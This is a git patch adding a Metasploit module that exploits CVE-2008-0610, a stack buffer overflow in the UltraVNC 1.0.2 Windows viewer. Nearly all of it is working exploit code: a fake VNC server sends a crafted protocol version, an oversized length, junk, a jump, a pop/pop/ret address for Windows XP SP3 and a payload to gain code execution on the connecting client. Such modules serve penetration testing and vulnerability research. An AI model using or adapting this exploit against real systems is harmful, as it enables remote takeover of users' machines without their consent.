From d8ddb19b569ace4702e9792e4a7dd7e5de5960ac Mon Sep 17 00:00:00 2001
From: Kurtis Miller <kurtis@kurtismiller.com>
Date: Sun, 25 Mar 2012 00:14:19 -0700
Subject: [PATCH] cve-2008-0610 windows exploit module

---
 modules/exploits/windows/vnc/cve-2008-0610.rb | 79 +++++++++++++++++++
 1 file changed, 79 insertions(+)
 create mode 100644 modules/exploits/windows/vnc/cve-2008-0610.rb

diff --git a/modules/exploits/windows/vnc/cve-2008-0610.rb b/modules/exploits/windows/vnc/cve-2008-0610.rb
new file mode 100644
index 0000000000..dba627c3ed
--- /dev/null
+++ b/modules/exploits/windows/vnc/cve-2008-0610.rb
@@ -0,0 +1,79 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::TcpServer
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'UltraVNC 1.0.2 Client Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a buffer overflow in UltraVNC Win32
+				Viewer 1.0.2 Release.
+
+				If a malicious server responds to a client connection indicating a minor
+				protocol version of 14 or 16, a 32-bit integer is subsequently read from
+				the TCP stream by the client and directly provided as the trusted size for
+				further reading from the TCP stream into a 1024-byte character array on
+				the stack.
+			},
+			'Author'         => 'noperand',
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE', '2008-0610' ],
+					[ 'OSVDB', '42840' ],
+					[ 'BID', '27561' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP SP3',	{ 'Ret' => 0x00421a61 } ],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Feb 6 2008',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
+			], self.class)
+	end
+
+	def on_client_connect(client)
+		return if ((p = regenerate_payload(client)) == nil)
+
+		sploit = rand_text_alpha(1100)   # junk, could be more efficient here
+		sploit << "\x00\x04\x00\x00" 	 # value to get around a write
+		sploit << rand_text_alpha(12)	 # random junk
+		sploit << "\xEB\x06\x90\x90"	 # short relative jump
+		sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer)
+		sploit << payload.encoded
+
+		sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit
+
+		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
+		client.put(sploit)
+		handler(client)
+		service.close_client(client)
+	end
+end